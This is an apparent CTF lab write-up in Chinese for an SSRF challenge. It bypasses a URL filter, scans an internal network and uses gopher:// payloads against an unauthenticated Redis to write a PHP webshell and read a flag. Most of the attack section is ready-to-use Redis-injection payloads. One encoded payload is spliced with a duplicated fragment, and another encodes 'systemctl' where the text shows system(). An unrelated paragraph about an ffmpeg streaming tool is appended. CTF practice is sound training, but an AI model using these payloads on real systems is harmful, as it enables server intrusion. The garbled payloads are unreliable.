Web-ssrfme

文章目录

环境

首先下载资源包,Ubuntu通过docker拉取环境。

docker-compose up -d

分析

<?php
highlight_file(__file__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['url'])){
    $url = $_GET['url'];

    if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
    {

        die('No, No, No!');
    }
    curl($url);
}
if(isset($_GET['info'])){
    phpinfo();
}
?>

查看代码发现,存在url接收参数,传递参数尝试是否含有ssrf。
在这里插入图片描述
发现确实存在ssrf。
但是查看代码发现,过滤了file、dict、localhost等。
过滤dict是为了防止探测端口。
在这里插入图片描述
过滤file是为了防止读取文件。
在这里插入图片描述
查看代码发现,如果传递参数info,那么会打印phpinfo(),尝试看看有没有有用的线索。
在这里插入图片描述
当前主机的内网IP为172.20.0.3.
那么咱们尝试url为内网IP能不能有打印的东西。
在这里插入图片描述
发现打印了两次,也就是读取了两次这个文件。
那么尝试利用内网IP进行探测端口,这里使用burp。
在这里插入图片描述
从这里看,只开放了80端口,那没有什么用。
那去探测内网中是否存在其他服务器。
在这里插入图片描述
扫出来发现只有.2和.3存在怀疑。
尝试.2
在这里插入图片描述
确实存在web服务。那么扫描.2的端口
在这里插入图片描述
很明显,6379和80端口开着。
访问内网的.2的6379端口,出现了redis的报错。
那么就可以尝试redis未授权访问攻击了。
在这里插入图片描述

攻击

尝试使用gopherus工具打一下。
先尝试执行id,路径先选择默认。记得修改IP地址为内网IP地址。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

先解码查看
flushall是清空所有数据

gopher://172.20.0.2:6379/_*1
$8
flushall
*3
$3
set
$1
1
$23


<?php system(`id`);


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

在这里插入图片描述
查看是否存在这个shell.php文件。
在这里插入图片描述
那么就是上传失败
再次使用url进行编码。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发现一直在转圈圈。那么基本就是未写入。
那么尝试扫描路径,尝试寻找权限低的文件插入。
在这里插入图片描述
发现存在http://192.168.61.133:8091/?url=http://172.20.0.2:80/upload
尝试在这个里面写webshell。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再次使用url进行编码并且进行攻击。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写入成功,但是没有执行
在这里插入图片描述
写拿flag的payload。

<?php system(\"cat /flag\");?>

在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20systemctl%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

以上帝视角发现成功。
记得二次编码。
在这里插入图片描述
在这里插入图片描述
也成功了
接下来就是写反弹shell了。

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ffmpeg-web-pusher是一个基于FFmpeg的实用工具,用于实时将音频和视频内容推送到Web服务器。它可以将本地视频或音频文件编码并传输到网络服务器上,从而实现实时推流功能。 ffmpeg-web-pusher具有以下几个主要功能: 1. 编码和推送:通过FFmpeg进行音视频编码,然后使用HTTP或RTMP协议将数据推送到Web服务器。这样,可以实现通过Web浏览器或其他支持Web播放的设备来实时观看视频或听取音频。 2. 多种格式支持:ffmpeg-web-pusher支持多种音视频格式,包括常见的MP4、FLV、AVI等。无论是从本地文件还是摄像头进行推流,都可以根据需要选择合适的格式。 3. 音频和视频参数设置:通过ffmpeg-web-pusher,可以根据需求设置音频和视频的各种参数,如比特率、帧率、分辨率等。这样可以根据网络带宽和终端设备的性能来进行适当的优化。 4. 实时监控:ffmpeg-web-pusher提供实时监控功能,可以显示当前推送的音频和视频的传输状态,如帧率、码率、延迟等。这对于调试和优化音视频传输非常有帮助。 ffmpeg-web-pusher是一个功能强大而灵活的工具,可以帮助开发人员实现实时音视频推流功能,并在Web浏览器上进行播放。无论是在线直播、视频会议、视频监控还是其他实时音视频场景,都可以通过使用ffmpeg-web-pusher来实现。它在提供高质量音视频传输的同时,还可以根据具体需求进行各种参数调整,使其更好地适应不同的应用场景。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

头发巨多不做程序猿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值